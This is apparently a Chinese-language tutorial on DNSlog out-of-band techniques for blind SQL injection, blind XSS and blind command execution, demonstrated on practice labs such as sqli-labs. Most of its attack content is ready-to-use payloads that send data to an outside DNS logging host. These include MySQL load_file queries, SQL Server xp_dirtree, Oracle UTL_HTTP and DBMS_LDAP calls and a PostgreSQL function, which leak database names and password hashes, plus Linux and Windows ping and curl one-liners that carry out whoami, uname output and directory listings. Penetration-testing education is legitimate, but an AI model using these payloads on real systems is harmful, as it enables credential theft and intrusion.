前言
我们现在遇到的注入点大部分都是很多都是盲注类型的,注入起来很麻烦,如果还是一个基于时间的盲注,那消耗的时间更长,dnslog注入就解决了盲注的这个无回显的问题,接下来我们介绍一下dnslog注入。
dnslog注入
如果我们想要使用dnslog注入,必须满足几个条件,条件一个需要是高权限,mysql的情况下需要是root权限。条件二,需要有文件读写的权限。除此之外呢我们还需要注册是dns平台来获取注入的数据,这里我们推荐一个知道创于的平台ceye.io
。
mysql中,我们在注入的时候使用的load_file支持对外读取,所以目标系统中的secure_file_priv需要配置为空,我们实验的情况下可以在my.ini
下添加secure_file_priv=
和secure_auth=on
,这是我们注入的关键,还有就是如果有人访问我们的子域名,DNS在解析的时候会留下日志,正是用这一点,我们将回显的结果和我们的域名拼接然后访问,我们即可知道其回显的内容是什么。
环境介绍
系统:win7
漏洞环境:sqlilab
漏洞复现
1.首先我们访问网站ceye.io
注册一个账号,我们会用到它给我们分配的识别码,还有一个APIToken我们可以在使用工具的时候使用,这里暂时先不介绍了。
2.然后我们打开目标环境,这里我们使用的是sqlilabs的第5关,这一关就是盲注,我们尝试获取当前数据库:
MySql
http://192.168.252.175/sqli-labs/Less-5/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.rw6402.ceye.io\\abc'))),1,0)-- +
我们查看我们的访问日志,可以看到拼接的数据已经回显,可以看到数据名:
这里借鉴其他文章中的命令来记录一下
SQLSERVER
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
XXS盲打测试
有些时候我们需要判断xss是否被执行,所以我们可以尝试插入一个图片标签,请求链接是我们的域名,从而判断xss盲打是否成功,这里我们使用xss挑战的第一关进行测试:
https://xss.tesla-space.com/level1.php?name=<img src="http://xss1.rw6402.ceye.io/123">
可以看到请求已经被记录,说明我们代码已经被执行。
无回显的命令执行
当我们遇到命令执行但是没有回显的情况,我们也可以使用dnslog的方式。
Linux
ping `whoami`.rw6402.ceye.io
curl http://`uname -a | base64`.rw6402.ceye.io/ Dns Query中查看
curl http://rw6402.ceye.io/`uname -a | base64` http request中查看
这里我们将数据进行了base64编码,我们查看的是内核信息
Windows
我们可以查windows中的变量
ping %USERNAME%.rw6402.ceye.io
获取whoami
的信息
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.rw6402.ceye.io
获取C盘根目录下面所有文件以及文件目录名,使用这个命令目标主机会弹出浏览器
for /F %x in ('dir /b C:\') do start http://rw6402.ceye.io/[%x].jpg
说还有一些其他的测payload,我们可以访问http://ceye.io/payloads
查看。
参考链接:
https://www.cnblogs.com/afanti/p/8047530.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/